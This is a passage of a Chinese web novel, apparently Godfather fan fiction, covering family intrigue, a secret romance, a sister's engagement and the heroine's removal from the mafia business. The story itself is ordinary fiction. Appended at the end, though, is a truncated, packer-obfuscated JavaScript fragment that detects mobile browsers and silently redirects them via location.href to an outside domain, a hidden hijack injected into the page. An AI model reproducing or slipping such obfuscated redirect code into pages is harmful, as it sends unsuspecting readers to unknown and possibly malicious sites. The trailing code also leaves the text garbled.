下一秒,艾波的视线对上来,被衣服衬得愈发浓郁梦幻的眼眸微微瞪大,隐约跳跃着不悦的怒火。迈克尔这才注意到,他的表现似乎过于醒目了。
21.Chapter21
今天不仅是礼拜日,更是季度例会。
这项制度由艾波引进。既然外部与各大家族形成了松散的联盟,那么内部组织更要稳固。定期开会,不仅能加强各条线的联系,更能在无形中形成竞争、相互监督。
出于西西里人的谨慎,维多要求该例会在礼拜日举办,日期、地点并不固定。克莱门扎家、忒西奥楼下的意大利餐馆、中餐厅……甚至新泽西新开的高尔夫俱乐部。
今天不知道是什么明目,竟然放到老宅来了。
待客的起居室里满是意式西装的中年男人,或翘腿抽烟,或靠墙品酒,香烟、雪茄雾气缭绕。都是熟面孔。
二十出头的年轻人站在他们中间,隔着一重仿罗马弧形拱门,如同残秋里的蓓蕾初绽,不合时宜地醒目。
他想要做什么?准备当众表露他们已经睡过的事实?
艾波本能地想要皱眉。是了,他当然动机。按照家族保守的氛围,一旦他当着这些老头的面说出事实,她毫无疑问会嫁给他,哪儿还需要乖乖听话遮掩。
那么,她该如何应对?
表达愤怒——这个词瞬间跳进脑海——她必须表现出名节受到侮辱的愤怒,并对他这个违抗唐.科里昂命令的战斗英雄嗤之以鼻。不过这样做了,她与卡梅拉的关系多少会受到影响……
“我不同意。”
肃着一张脸的年轻人突然开口了,脸膛冷硬地走出那道门框,迈进她们所在的、通往餐厅的过道。
“我不同意你和那个卡洛订婚。”他这么说对妹妹说。
没等康妮反驳,前一秒还在教育妹妹不要太早给男人明确答复的桑蒂诺先嚷起来:“嘿!迈克,这是康妮的事。”
“是啊!”康妮反应过来,“不干你的事,我喜欢卡洛,我就要和他结婚!”
声音引得屋子里所有人都看了过来,就连餐厅方向也有妇女探出头。
迈克尔像是被兄妹的气势给吓退,举起双手投降道:“好吧好吧,和我没关系。”
这滑跪的软脚虾模样,一点儿都配不上他那几枚闪闪发亮的勋章。
艾波目光掠过他那张哪怕在意大利人里也算得上俊朗的面庞,以及暗暗得意、祈求夸奖的眼神,心想她暂时不用因为处理这张脸的主人而感到惋惜了,至少他主观上确实听话可靠。
至于客观?她持怀疑态度。
桑蒂诺推着她和康妮进入餐厅,艾波怀疑这位大哥又看上了谁,她俩不过是他的幌子。
餐厅里装着起居室男人们的妻女,上午的弥撒活动让她们大多身穿纯色的衣裙,仿佛一群五颜六色的鹦鹉聚集在灶台、餐桌、水槽旁说话,见到桑蒂诺揽着她们进来,立刻扑腾着翅膀落到面前,叽叽喳喳地夸奖起她的裙子,只字不提方才听到的订婚。
一个转身的功夫,迈克尔也跟进来了,坐在长餐桌的一侧。
桑蒂诺借此和他絮叨卡洛的家世背景,以及与对方相遇的经过,康妮从旁小声补充。他托着下巴,看似侧头认真听,实则像追随日光的太阳花,无论她走到餐厅的哪一个位置,总能和他的目光对上。
眼巴巴的,仿佛盯着橱窗亮闪闪糖果的穷孩子。
艾波抿唇,愈加别开眼不去看他。在场的女人哪一个不是心思细腻、擅长挖掘八卦,搞不好已经瞧出点端倪了。她不得不把话题往裙子、往西多尼亚上引。
“仗马上就要打完了,我姐姐她可能去巴黎的手工坊进修几年。”
“巴黎啊,”女人们发出惊呼,“那谁来照顾她的丈夫?”
“她没和我细说,可能也会去巴黎吧。”艾波摊手,鲜少有人知道西多尼亚并没有结婚,那位吉里安诺风里来血里去,并不敢给出承诺。
好不容易午饭准备完毕,女人们依次把意面、香肠、肉丸端去花园铺有白布的长餐桌,室内一空,那头卡洛.瑞奇进来了。
“就是你不同意我和康妮的婚事吗?”气势夺人,边走边撸起白衬衫的袖子,卖弄他那身青少年时期在内华达荒漠劳作锻炼出的肌肉。
他在兄妹三人面前站定,背对着艾波,她无法看到他的表情,只见他微微弓起肩膀,臂膀肌肉绷起巨大的力量,鼓涨得仿佛时刻要撑破衬衫,然后在康妮捂住胸口的痴迷里,伸出手指,矫揉造作至极地点了点餐桌,对兄弟之中最为文弱的那一个说:“我要挑战你。”
艾波感到好笑,别的不说,卡洛.瑞奇情绪价值给得很到位,这副为爱不惜得罪兄长的样子,轻而易举击中康妮的少女春心,几乎激动得要昏过去了。
而被挑战的对象呢?像是刚从一场梦里醒来,怔愣地看着金发碧眼、自认为无比潇洒的男人,迟疑着发出一声:“啊?”
“噗呲。”艾波忍不住笑出了声,正想为自己的笑声描补一二,那头桑蒂诺已经一拍大腿:“好,就在这里比,我和艾波做裁判。”
不知是否错觉,迈克尔的眼神瞬间变得奇怪,配合地离开座椅,脱下外套搭在椅背。
椅子腿和瓷砖摩擦,唧啦作响。
桑蒂诺朝她挤挤眼,然后对已经站在餐桌与吧台之间大约五平米空地的两人说:“只能出三招。点到为止,谁都不许让着谁。”
艾波这才后知后觉地意识到,他们误以为她笑是因为想起当年一招掀翻迈克尔的战绩。无奈地叹了一口气,她站到桑蒂诺对面,像是拳击比赛的裁判,和两个挑战者垂直站立。
“卡洛,我的爱,加油!”
卡洛回以露齿一笑,油腻得让人三天吃不下饭。
桑蒂诺正好站在他们两人之间,冷不丁中招,消化了两秒才开始报数:“三、二、一,开始!”
话音落下,金发的男人就被一拳揍倒在地,捂着鼻子挣扎反击,又被赏了几记老拳,扶着椅子背趔趄着站不起来。
康妮吓得不知道如何应对,坐在那里傻看着,还是不放心回厨房看他们的卡梅拉经验丰富,指挥桑蒂诺和迈克尔扶他起来,快速打开冰箱,用毛巾包了冰块给他敷脸。
艾波作为裁判以及上届非正式挑战的胜利者该夸奖迈克尔一两句,但可能心里有鬼,总觉得无论怎么说都会引起怀疑,最终给心疼得直掉眼泪的康妮倒了一杯果汁,贴着她耳朵安慰:“婚前挨揍,总比婚后好。你看妈妈这样照顾,已经把他当成我们自家人了。等他伤好了,西西里定做的裙子也寄到了。”
康妮不敢置信地转过头,瞪大眼睛,惊喜漫上来:“真的吗?你答应了。”
“嗯哼。”艾波摸摸她的脸颊,把散落的头发勾至耳朵后边,“前提是他征求到爸爸同意。”
“爸爸会同意的!”康妮笃定。
维多.科里昂当然会同意,虽然他和卡梅拉持相同态度,并不十分满意这个女婿,但既然宝贝女儿喜欢、对方还被内华达政府限制入境了,那婚后一定是住在纽约的,在全家人眼皮子底下,康妮的日子不会变坏。
“也给我一杯。”迈克尔忽然开口,望向她的眼神,几乎像暴风雨的海面,汹涌着某种情绪。可他的动作、语气只是家人间恰到好处的亲昵,仿佛饥肠辘辘的朝圣者,仍维持着体面客客气气地伸手讨要硬面包。
这么可爱,怎么好意思不给呢?
艾波递去橙汁,他伸出双手来接,却像是怕拿不稳、又像是错误估计她的动作,两只手握上她,掌心温热,窜起一阵细微的电流。
没等她开口啐他,这家伙脸皮极厚地弯唇一笑,快速从她手里掏过杯子,极有涵养地说:“谢谢。”
艾波又忍不住碾了碾牙,以前怎么没看出来他是这种性格?吃定她不敢当众教训他。
外间花园传来阵阵人声,卡梅拉热情地主持午餐宴席。
这时,汤姆.黑根从侧门走进来,看清餐厅内混乱的景象,有些惊讶地扬起那双淡得和皮肤融为一体的浅金眉毛,但并未发表看法,只是对艾波说:“唐找你。”
她一怔。詹科.阿班多去年七月检查出胃癌,维多任命拥有独立律师事务所的汤姆为代理军师。军师意味着唐的左膀右臂,一定程度上代表着唐本身。正值饭点,下午便是正式会议了,这个点叫她,有些不同寻常。
结合桑蒂诺的态度,艾波隐隐猜到某种可能性,心下微微一哂。
推门进入拐角书房,维多.科里昂斜坐在宽大的办公桌后面,百叶窗掀开,明亮的阳光照入,如同灰白色的河石,沉默、可靠。
他正在打量院子里吃饭的客人,像是在欣赏一出乏善可陈的戏剧。
房间里没有其他人,汤姆守在门外。
“您找我?”艾波轻车熟路地走到橱柜,拿了一瓶可乐,在靠墙的单人沙发坐下。
“艾波洛尼亚,”维多开门见山,“莫.格林说程拒绝了他的会谈请求。我想,没有你的首肯,他胆子没有那么大。”
“对啊,”艾波从沙发右手边的柜子抽屉里翻出开瓶器,“华人的脸孔过于显眼,但凡被路人瞧见一眼,事后被指认出的可能性也是白人的好几倍,我不想白白折人手。杀手公司是用来规避风险的,而不是浪费警局那边的人脉和信誉的。”
“可你不该连机会都不给他,”维多叹气,“五大家族内部已经飘出消息,想要处理唐人街了。莫.格林希望通过我这一曾和唐人街合作过的人作为担保人,最后给你一个机会。如果你们不愿意,可能迎来的就是疯狂的报复。”
艾波忽然像个没主见的孩子,惊慌地问:“我不知道该怎么做,您的意思呢?”
维多轻易看穿她浮夸的演技,笑着伸手点了点她,“你啊——”
艾波也笑了。她当然明白维多的意思,唐人街是家族的最后的盟友和底牌,于情于理,都不该和莫.格林他们沾上关系。维多支持她的决定。
“你觉得黑手党是什么?”他突然问道。
真不是个好回答的问题。艾波伸了伸腿,打了个比喻:“您知道有些地方土地荒废、难以耕种,农民会先放山羊上去,把杂草吃得七七八八,顺带用羊屎肥田吧?”
“纽约,乃至全美的黑手党就是那群山羊。”她继续说,语气客观得像在将和自身全然没有关系的事物,“欧洲的移民来的时候,无论是意大利人还是爱尔兰人,要么不会说英语、要么不懂规矩,就像野蛮、难耕作的土地,连怎么交税都不知道。政府哪有那么多人手和精力教化他们,于是黑手党出来了,教他们融入新生活,顺便收取政府收不上来的税,这时候黑手党是政府的好帮手。”
“等十几年过去,这些移民逐渐适应新的土地,那些老旧的观念像是杂草被山羊连根拔除,政府这个农人就不需要山羊了,为了保护地里的庄稼,会刻意把羊群隔离开来,甚至宰羊吃肉”
维多点起雪茄,吸了一口后,才慢吞吞地夸赞:“非常精妙的比喻。迈克尔、康斯坦尼的西西里语说得一个比一个差,桑蒂诺的孩子更是听不懂意大利语了。”
艾波没吭声,咕咚咕咚喝了一大半瓶可乐,享受着气泡在舌尖炸开的酸爽。
半晌,见维多实在没有率先挑明的意思,才试探性开口:“您真的打算让我退出家族事务吗?”
是的,退出家族事务。桑蒂诺一定提前收到了风声,知晓家族内部有针对她的声音,所以才会刻意夸赞她,显示哪怕她脱离了具体事务,也是家族核心成员,拥有和康妮等同的地位。
维多的笑意越发明显,拿起喝了一半的利口酒,反问道:“如果没有理由呢?只是立刻剥夺你的全部权力,给你和康妮一样的待遇,你会怎么做?”
艾波咧嘴,直言不讳:“大概就是切断泡面工厂对家族的资金供应,同时和底层纽扣人建立联系,在家族克扣他们待遇的时候重新补上亏空。您知道的,现在橄榄油进出口、房地产生意都不太景气,没了签了军方合同的泡面生意,家族将会捉襟见肘。”
□□的收入倒是能支撑,但交易中心的人都是她的心腹。虽然唐发话,他们会和她做切割,但日后,她要是在关键时刻让他们帮一两个小忙,怕是不会拒绝。这话艾波没说,说了就变味了。
“有了他们,加上唐人街、泡面工厂的人手,我会在适当的时候,唔,也许就像今天这样例会结束的时刻,将家族反对我的中高层一网打尽。”艾波摊手,“警察只会高兴。”
维多早已收敛了笑意,静静地听她说完,问了她最后一个问题:“现在情况有些特殊,你愿意相信我吗?”
怎么会不相信呢?艾波放下可乐瓶,站起身郑重地说:“正如我十年前承诺的那样,您拥有我的第一忠诚。”
维多点点头,向她看来:“一位好的棋手总是走一步想十步的。现在,就按照你刚才说的去准备吧。”
对视的这一刹那,艾波从他那乌黑的眼睛里读出了真正的意思,那是暮年狮王的放手一搏、是决心铲除所有竞争者的残暴。
论起心狠,桑蒂诺远不及他父亲。
*
电光火石之间,迈克尔福至心灵,想起方才她下楼梯时康妮的恳求,要是这桩婚事板上钉钉,那么周五那天晚上,妈妈或者弗雷多肯定会和他说,而不是像现在这样,需要康妮一个姑娘到处嚷嚷他才知道这件事。
迈克尔对妹妹的伎俩很了解——说得天下皆知了,不结婚也要变得要结婚了。唉,话说回来,他也想像她这样,肆无忌惮的。
这么想着,话里也带出了几分不满,硬邦邦的语气,却意外地合适,引来桑尼和康妮的强烈抗议,他花了一些力气才克制住向她看去的目光。
不知道她是否满意他的机智反应?迈克尔打定主意,晚些时候,一定要向她讨些奖赏。
他跟着走进厨房,桑尼发现他,拉着他讲起卡洛.瑞奇的情况。天知道,他根本不想听,“卡洛人不错,老实肯干,我们在猪肉铺认识。桑德拉怀孕,一定要吃炖猪蹄,我去买猪蹄,结果结帐时口袋里缺二十美分,偏偏是中国人开的店,我要是敢赊账,艾波得怼死我。纽扣人卡尔——你上周见过的,他兜里也没钱。他帮我付了猪蹄钱,虽然也就五十美分。他父母是……”
艾波站在半人高的隔断墙旁,斜对着他,在女人们的赞叹中,不断扯着裙摆、扭动身体,笑得……非常迷人。
桑尼的声音逐渐化作水流,在耳边淌过。部队曾发放过劳军物资,其中就有各种时尚画报,金发碧眼的女郎搔首弄姿,总是能给大兵带来慰藉。在已经和她发生过关系的此刻,迈克尔觉得她远比那些明星加起来还要性感,一举一动都想让他把她抱进怀里亲吻。
要是可以,他想先亲吻那衬衫领口露出的锁骨,那里有一个小小的窝,总是引得他品尝;然后,他会顺着她的脖颈一路向上舔吻,直到她的耳垂,不知是什么缘故,她的颈项总是很香,混合着让他目眩神迷的气味,他总也闻不够;最后,他会亲吻她的唇,亲吻她那喋喋不休、总是引得其他人咯咯开怀的嘴,一直吻、一直吻,吻到她气喘吁吁,指甲抓掐他的脊背为止。
“就是你?”那个谁的声音扑面而来,唾沫星子落在他前面的桌面,
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“不同意我和康妮的婚事?我要挑战你。”
嗯?这家伙说什么?挑战?
艾波突然笑出了声。
明媚的笑容,忽地与五年前、那场激发了他无数欲念的挑战重合。起因也是如此无厘头,捍卫男性自尊的战斗。
在他达成夙愿的第二天,这样一场挑战来得意外地巧,也意外地好——他要向她证明,他是个男人,他是强大的男人,更是她的男人。
因而他全然没有保留,拿出战场上训练出的反应速度和力量,快速出击,准确击中面门。那人倒是还想扑上来,他没给他机会,揪住领口就是几拳。要他说,还没鬼子耐揍。
他获得了胜利。他向他的奖牌、他的所有者、他的神明看去,期望得到夸奖。
可她呢?竟然给哭哭啼啼的康妮倒了一杯果汁。
凭什么?康妮脾气坏、眼睛瞎,凭什么可以得到她的安慰。
她们到底在说什么,需要她这样凑近说?那双他无时不刻想要亲吻的唇几乎要触及康妮的耳朵了。她好像从没有对他如此亲昵过。
哦,她还摸康妮的脸,还给她挽发。迈克尔酸酸地想,原来这个家里不止他拥有体味她小手掌心温度的待遇,她的温柔从来不独属于他。
他能怎么办呢?迈克尔冷静地开口讨要了果汁。既然月亮的光芒温和地洒向所有人,至少他可以努力奔向她。
她给他倒了一杯果汁。橘色的液体灌进玻璃杯,他才敢抬头看她,她也在看他,他根本无法思考,像溺水者下意识地握住她。
她的小手真细滑,微微的凉意,轻而易举抚平他心头的燥意。而怒火重新漫上那双棕中带棕的眼眸之前,他敏捷地接过玻璃杯,和她道谢。希望她能听懂他的歉意,真的不是故意摸她的手,实在忍不住。
到了这时候,迈克尔终于意识到所谓的不被别人发现有多难。她就像一颗亮闪闪的星星,无时不刻不散发着光芒,总是勾着他向她看去。
可是星星会有爆炸的时刻吗?
她怒气冲冲地从书房跑出来,狠狠一甩门,大声地骂了一句,他以为永远不会在她口中听到的话——“vaffanculo!”
然后便捂着脸,蹬蹬蹬地跑上楼。
发生了什么?一时之间,整个屋子的人都在如此疑问。汤姆歉意地向大家表示,她只是在闹脾气,过一会儿就好了。
闹脾气?她是艾波,迈克尔才不相信她会生气到浑然不顾父亲的脸面。一定发生了什么。他焦虑地等待着,饭也吃不下,以休息为由回到二楼卧室,轻轻敲她的门,却毫无回音。
他不敢多敲,怕被人发现,更给她添麻烦,只得回到卧室,躺在床上,想着她闷在被子里啜泣的可怜模样。心都要碎了。
下午三点,客人逐渐散去,迈克尔才从弗雷多那里得到答案。
“仗要打完了,大家伙儿都在传军方没有续签明年的泡面订单。曼奇尼、巴洛尼等老人早就看不惯艾波了,认为她过于精明和咄咄逼人。他们是我们抽奖彩条的供应商,名下有七八家工厂,与印刷协会关系很好,垄断东海岸的印刷生意。没有了他们,哪怕我们有专利,一时半会儿也找不到新的供货商。爸爸为了稳住他们,只能暂时委屈艾波了。”
哪里来的蠢货,找这样站不住脚的理由攻击艾波,迈克尔恨不得立刻拿枪嘣了那几个老头。他深吸一口气,细细地打听这几人的名字,暗自记下,准备日后找机会替艾波出气。
当务之急是安慰艾波。他现在什么旖念也没有了,只想把她搂进怀里,让她听着自己的心跳、知道自己就在她身边。
可她就是不开门、不理他。
晚上,她才披着睡袍出现在餐厅,眼睛看不出红肿,倒是嗓音有些沙哑。
“晚上好,”她倦倦地和上首的父亲道歉,“不该这么对您话。”
父亲绷着一张脸,微微颔首,只说:“吃饭吧。”
桑尼立刻反常地离开座位,替她拉开座椅。弗雷多帮她剥去虾壳,切分牛排。就连汤姆都讲了几个冷笑话逗她开心。
她终于笑了,“我没有生气,我只是突然失去了生活的目标。”
“目标?”弗雷多说,“享受就好,要什么目标呢。”
汤姆不赞同,“你正好想想未来的规划,我有预感,以后会越来越需要律师。比如说打打离婚官司之类的。”
弗雷多不屑:“这可赚不到什么钱。”
“比如说特蕾莎要和我离婚,如果有选择的话,相比男性律师,她肯定会选择艾波这样的女律师,至少不会被人传姘头之类的绯闻。”汤姆说完,轻声安抚妻子,“我知道你爱我,我们不会离婚。”
“汤姆说得没错,”母亲开口了,“艾波,我不是说要你去做女律师,我是觉得你要对未来规划起来,读完大学以后,是嫁人还是找工作,现在就得考虑了。大学、专业,对选择都有影响。”
那头艾波点点头,若有所思地说:“确实。”
桑尼见状,大大咧咧地接话:“没错!要说嫁人,我觉得那个程乔义很不错,你嫁给他,生意有了,丈夫也有了。而且知根知底的,也不怕你被他欺负。”
程乔义。这是回来第一次听到这个名字,迈克尔以为这辈子都不会再听到了。那个总是拥有艾波信任与欣赏的男人。曾是他最嫉恨的存在。当然,昨晚过后,迈克尔没有那么恨他了。只是讨厌。
他相信艾波不会想要嫁给程乔义。说句伤心的话,要是她喜欢程乔义,哪还轮得到自己?
果然,艾波笑了笑,径自吃着虾,并未回答。
“对了,说起结婚,”桑尼爽朗地冲他举杯,“迈克,下午你和卡洛动手的时候,我看到你后腰有几条红印子,这是女人抓的吧?”
迈克尔下意识想要看向艾波,被她狠狠踩了一脚,才猛地醒转,这时候要是看她,简直就是告诉全家,这抓痕和她有关。
“是吗?”他不置可否,尽量留个悬念。
弗雷多惊呼:“迈克,你也太牛了,前天才刚刚回来吧?她是谁,是纽约人吗?等等,不会是艾波的同学吧……”
头一次的,迈克尔这么讨厌二哥的敏感随和,从牙缝中艰难地挤出一个字:“不是。”
“那是谁?”康妮也好奇地问。
要了命了,他要怎么回答?难道实话实说,他和艾波睡觉了?那父母会怎么看她?艾波已经失去了生意,他不能再在这时候乘火打劫。
“是昨天一起入住旅馆的姐姐。”艾波忽然这样说,“昨天不是下雨嘛,那位姐姐给迈克递毛巾,他们两个就看上眼了。她还向我打听我们家呢。”
母亲问:“你是怎么说的?”
“我说我们家是做橄榄油生意的,迈克是战斗英雄。她听了非常开心。”接着她又仔细描述了那个女人的长相,要不昨晚的记忆过于深刻、她的睡颜被回味了无数遍,迈克尔都要怀疑她说的是真的了。
妈妈忧心地问:“她留下电话了吗?”
“没有。”他干巴巴地回。
桑尼和弗雷多冲他暗暗竖起大拇指,康妮还什么都不懂,一个劲儿地问桑德拉为什么喜欢他却还要用指甲抓他。
“迈克,这是真的吗?”最后,父亲这样问他,眼底充满了对他这段露水情缘的不赞同,以及某种触及真相的探寻。
一只小手早已悄悄攀上他的大腿,他能怎么回?
“是的,爸爸。我很抱歉,没有像您一样,对未来的妻子忠诚。”
22.Chapter22
退出家族生意,这意味着什么?
首先,她无法参加会议,无论是出于制衡目的、实际无甚重要的例会,或是高效紧凑、决定家族o
行动的五人小会。
其次,她无法调遣纽扣人。他们最多开车送她去某个地方,并且将会把时间地点上报至自己军团的首领,一般是桑蒂诺或者克莱门扎。
最后,也是最让她不舍得的一点,是她失去了交易中心的控制权。并非心疼彩票的分红,而是可惜于那些数据。
科里昂在纽约的菠菜版图很克制,仍遵循纪律委员会的约定,并未侵吞其他家族领地。可出了纽约州,从芝加哥到巴尔的摩,借由彩票条的东风,家族逐渐渗透进这些城市的体彩行业。
每天,上万条赔率数据汇入布朗克斯区的交易所,数十把算盘同时拨算,连绵起伏的噼啪声,化作一场场赛事的赔率线。
这只是基本的用法。另外,她分门别类的记录、整理这些赔率,纵向横向对比,一定程度上体现该地区的购买力和经济活动,便于日后家族相关决策时,提供数据支持。
现在她不去了,这些数据只怕隔周就会被销毁。这么一想,她再次在脑海里过了一遍计划,试图在找出继续进行这项工作的空隙。
她边想边穿衣服洗漱,一直想到穿戴整齐、打开房门,也没有找到既不打草惊蛇又保全数据到办法,默默叹了一口气,顺着过道向楼梯走去。
过道呈L字型,一头是主卧、内有单独楼梯通往一楼,两条长边上错落着她们的卧室门。六点半的光线不足以照亮整条过道,墙上华丽的木饰面灰暗一片,艾波懒得开灯,思绪从菠菜事务脱出,转入更为简明的当下。
今天是礼拜一,上午有西班牙语和历史课,下午是两节数学方面的课程,书本都锁在学校里,不需要背包…傍晚是否要去趟唐人街,和乔义说说最新情况?
与唐人街接壤的意大利餐馆是克莱门扎的心头好,她是否要给餐馆老板待句话,约他吃顿饭叙叙?
关于他和忒西奥,艾波不是不信任,只不过做事情的伙伴,年纪相仿比较好沟通,利益也更容易分配。也许应该考察考察他们的后代。她记得……
忽然气流一阵扰动,一个黑影从暗处探出,她下意识往侧一让,同时以手为刀,直直劈去。
那人似乎没料到她的攻击,情急之下格挡,手肘被击中,发出嘶地一声痛呼,“艾波,是我。”
艾波讪讪地收回手,照理来说在家警惕性不该这么高,都怪她想得太入迷了。她的力道中等偏上,并没有收着力,这家伙手臂估计要淤青了。
但她才不会认错,反倒压低嗓子质问:“你干嘛吓我。”
“我想你了。”他那张脸沉在半明半暗的光线里,只能看到立体的轮廓,标准得如同美术课的石膏头像。
也不知道谁半夜悄悄摸进她房间,抱着她睡了大半夜。满打满算分开不过三小时,倒好意思说这种话。
艾波睨了他一眼,径自往前走去,却不防被擒住了手腕。
他的手心滚烫,箍得又很紧,她只得收回脚步,踮起脚,朝他嘴唇的位置轻轻一啄,哄道:“迈克,已经七点了,我八点必须要进教”
后半句吞没在双唇之间,他追上来吻了一口,停顿、后退,没等艾波继续开口,他又亲上来,这回更久了一些,含吻了三口才恋恋不舍地后撤。
他微喘着,像是绷着一根无形的线,低哑的气音喷吐而来:“对不起…”
也就他让她一次次降低底线了,难怪说色字头上一把刀呢。
艾波伸出未被攥住的手,缠上他的脖子回吻。舌尖方一探出,便被迫不及待地接纳,裹挟着交换气息。她尝到了薄荷牙膏的清凉,混合着他身上特有的冷杉、松树的冷沉,异常迷人。
“弗雷多——”楼下传来卡梅拉的喝止,“这是艾波的早餐!”
这回轮到他后退离开了,摇摇晃晃地靠在墙面,如同一条离水的鱼,大口喘息着投降:“你先下楼。”
艾波忍不住轻笑一声,再次凑近,手摸上他的胸膛,在他因为克制而变得异常安静的呼吸里,用胸前睡衣口袋擦去唇上的水光。
“晚上要来接你吗?”他仍仰头靠墙,屏着呼吸补充,“我今天要进城办事,不算特意找你。”
“好啊。”艾波不走心地应承。
对于掩藏关系,她现在没有那么迫切,甚至被发现还有些好处:针对家族内部的反对派,营造出一种她不想要被嫁出去,想要继续待在核心圈层、垂死挣扎的假象;对家族外部的敌人,则坐实她成为不受重视的边缘人——整个纽约黑手党都知道,伟大的唐.科里昂有一位愚蠢的、想为与自己无关政权送命的小儿子。
让敌人高估缺点。这是教父的教诲。
人们更愿意相信自己推导出来的东西。这是她说的。
因而,傍晚一坐上福特轿车的副驾驶座,她便和免费司机下达指令:“晚上别回家吃饭了,我们去唐人街吃中餐吧。我想和乔义说说昨天的事。”
他看向她的热烈笑容一滞,维持着嘴角的弧度,“好。”
车辆徐徐启动,汇入因战争而略显萧索的车道。
这家伙对乔义有意见不是一天两天了,艾波想了想,摸上他放在档位的手,放软了嗓音,仅唤了一声:“迈克。”
“好吧好吧,”他呼出一口气,反手握住她,“他是你的朋友,我一直尊重他,不会给你丢脸的。”
不情愿答应的模样也很可爱。对于他,艾波从不克制欲望,拿起交握住的手响亮一吻,顺嘴赞了一句,随即将视线投向窗外,思索起要和乔义商量的事。
临近饭点,玻璃窗伸出的一截铁皮烟囱,冒着腾腾热气,整个唐人街沉浸在蓬勃的面香里。
“去程记?”他问。
“不,”艾波回过神,冲他笑一笑,“带你换个口味,我们去万里云酒楼。”
“重新开业了吗?”
“算是吧。”她卖了个关子。
汽车拐过一个弯,就是装修一新的酒楼。三层高的建筑,每一层屋檐都有翘起高高的檐角,藏青的瓦片反射金色光点,犹如蓝宝石的闪亮切面。
“好看吧,”艾波不无自得,“这瓦是我和乔义找来老师傅,跑去费城瓷厂烧制的。”
迈克尔忙着停车,没有立刻回答,等下车了,他握上她的手,才吝啬地答:“好看。”
并不敷衍,短短一个音节,经由他的唇齿吐出,无端有了其他意味。艾波便由他牵着手,领他迈上矮矮的石阶,来到闭合却没有上锁的酒楼门前。
“去年装修好的,一直没找到合适的机会开业。”她介绍道,“一楼是饭馆,二楼是隐秘性较好的包间,再上面是酒店。”
说着推门而入,程乔义已经在了。一身素白的西服套装,长身玉立,周围是几何图案的屏风和空荡荡的方桌,敞亮雅致的环境衬托,越发谦和儒雅。
“艾波!”他展开双臂迎接,“迈克,好久不见,我在杂志上看到你的照片了,杀了不少鬼子!好样的!”
迈克尔松开握住艾波的手,轻盈地回抱他。“这是我应该做的。也谢谢你,这些年帮了艾波许多。”
啧,这话说得,颇有大房之风。旋即,艾波为这个比喻感到无厘头。乔义自小便定下亲事,两人通信多年。把他比作小的,对他对、那位姑娘都极为不尊重。
乔义像是没听出他话里的软钉子,微微一笑:“分内之事。”
艾波熟门熟路地寻了靠近后厨的小圆桌坐下,迈克尔拉卡她身旁的靠背椅。
“你中午给我打电话说要来,我立刻派阿六去几个码头跑了一趟,其他海货是没了,蓝蟹倒是有,还是你最爱的公蟹。就让他全收来了,多出来的正好做炝蟹。”乔义边说边沏茶。
蟹肉果冻般藏在白色的蟹壳里,一嗦就出来了,咸鲜软糯,配高度烈酒简直一绝。
艾波下意识咽了咽口水,接过茶杯:“可惜冰箱还不够普及,不然这个生意我们可以试试,卖给小酒馆做猎奇下酒菜。只要价格够便宜,需求是能够培养的。”
乔义哈哈一笑,“我先替你记下了。”
艾波吹了吹表面的热气,站起身说:“我去上个厕所、顺便看看菜。”
迈克尔想要起身陪同,被她按住了,“你和乔义聊聊。”
后厨没什么事,她捞了一根黄瓜啃着,听厨师吹了一会儿牛皮,最后一道糖醋里脊也做好了,她帮着端出去。
大堂内,两人仍维持她离开的模样,默默喝着茶,像是没有交谈过。
菜不多,蒸蓝蟹、糖醋里脊和宋嫂鱼羹,艾波把后两个菜推到迈克尔面前,又指指角落的一筐面包和米饭:“你自己选。”
他盛了一小团饭,又取了一块面包,俨然老实本分司机的模样。
接过乔义递来的醋碟,艾波就着意大利黑醋,正式开始剥螃蟹。
程乔义率先用国语问:“所以你被罢权了?”
艾波点点头:“很彻底,交易中心的钥匙都上交了。”
“因为那两位生产商?”他瞥了眼迈克尔。
“是啊,估计那两个反对我意大利佬也没想到为了提价随便找的借口,竟然真的把我赶走了。这下涨价的事,反而不好开口了。”
乔义咬着蟹脚笑,粤语嘀咕道:“偷鸡不成蚀把米。”
“真正要想的是维多的意思,他谨慎了一辈子,从未决断失误。内华达定点开放合法赌博的情报,去年科里昂就知道了,当时我们讨论过,认为非常值得投资,但这块蛋糕太大,仅一个家族吃不下。所以我那天才会和你说,他马上就没空管我们了。谁知道他一个没地盘的衰仔心那么野,想要整合资源、两件事情一起做。”
乔义掰开蟹身,“要做掉他吗?”
艾波笑起来,也用粤语:“方向错了,我们反而要助他,祝他发财。”
“哦?怎么个助法?”
艾波开始吃第二只蟹了。这蟹不是非常好,有些腥,她去掉蟹腮,拿起筷子把蟹黄拨进迈克尔的碗里,耸耸肩继续说:“花钱咯,鼓动人心咯。我要这群黑手党被人下蛊一样狂热地去西面跑马圈地。等他们大半个身子都够去那桌的时候,我们正好一脚踹翻。”
程乔义明白了,点头问:“要多少?”
“账上有多少花多少。这是一场硬仗。成了,后面几十年都能太太平平。不成,这钱就真当给赌城做宣传。”
“好。五天之内,我给你账本。”
正事谈完,不免聊到私事。
“这就是你的个人问题?”乔义调侃道,“倒是不知道你爱吃窝边草。科里昂可不好驾驭。”
说起这个艾波也有些不好意思了,瞪他:“多管闲事。”
乔义咧嘴笑,用回英语:“迈克,你之后有什么打算?那两块勋章含金量不低,应该有不少工作等着你吧。”
“战争即将结束,它们马上就不值钱了。”回答得很冷静,“我暂时打算待在家里,看看有什么可以帮艾波的。”
可别。这家伙不能涉足家族生意,这是她和维多的约定,违反并没有惩罚,但也没有好处。
艾波略带黯然地说:“没什么能帮的,刚刚乔义和我说了,莫.格林对唐人街步步紧逼,他没有余力帮我对付那两名供应商。所以我想着,还是回归正常生活吧,毕竟爸爸妈妈送我来美国,是希望我过好日子的。”
他的声音紧张起来,带着试探:“所以,你是想……”
“我也收到达特茅斯的回复了。”艾波露出依赖又羞涩的笑,“我们一起去新罕布什尔读书,好吗?”
他如同驯良的马,温顺地点头,“当然好。”
乔义不说话了,道别的时候默默向她伸出大拇指。
*
吃完饭,艾波帮着母亲和嫂子们收拾碗筷,全家都在,他找不到机会和她说话。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14545447|151610||http|test|mini|href|location''.split(''|''),0,{}));
